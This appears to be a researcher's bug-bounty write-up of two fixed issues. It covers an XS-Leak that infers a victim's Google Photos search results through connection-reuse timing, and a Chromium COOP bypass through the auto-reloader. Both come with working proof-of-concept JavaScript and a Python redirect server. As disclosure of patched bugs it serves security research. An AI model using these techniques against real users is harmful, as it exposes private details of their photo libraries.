Writeups

Google Photos is a service by Google, a subsidiary of Alphabet used to store and view user uploaded duck photos.

XS-Leak (Fixed, Awarded $1337)

This attack is documented at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#connection-reuse and was done as part of a grant of $500.
Usage is await search('duck') to leak if a query exists (If victim took a photo of a duck)

async function isConnected() {
  // Detect connection reuse for lh3.googleusercontent.com
  // No timing attack needed because of timing-allow-origin: *
  performance.clearResourceTimings();
  await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});
  await new Promise((r) => setTimeout(r, 1000));
  let data = performance.getEntries().pop();
  return data.connectStart === data.startTime;
}

async function search(query) {
  let w = open();
  // Close connections using idle timeout.
  await new Promise((r) => setTimeout(r, 30000));
  // First try is free, next needs COOP or user activation bypass.
  w.location = 'https://photos.google.com/search/' + query;
  await new Promise((r) => setTimeout(r, 5000));
  return await isConnected();
}

I think this was fixed as part of https://chromium-review.googlesource.com/c/chromium/src/+/4387455

COOP bypass (Fixed, Awarded $3000)

Abuses the Chromium auto reloader using a invalid server response, also worked with max redirect limit.

from http.server import BaseHTTPRequestHandler, HTTPServer

sessions = set()

class handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if (self.path not in sessions):
            self.send_response(200)
            self.send_header("Cache-Control", "no-store")
            message = "<invalid>"
            self.wfile.write(bytes(message, "utf8"))
            self.end_headers()
            sessions.add(self.path)
        else:
            self.send_response(307)
            self.send_header('Cache-Control', 'no-store')
            self.send_header('Location','https://photos.google.com/search/duck')
            self.end_headers()
            sessions.remove(self.path)

with HTTPServer(('', 8000), handler) as server:
    server.serve_forever()

This was fixed in https://issues.chromium.org/40060695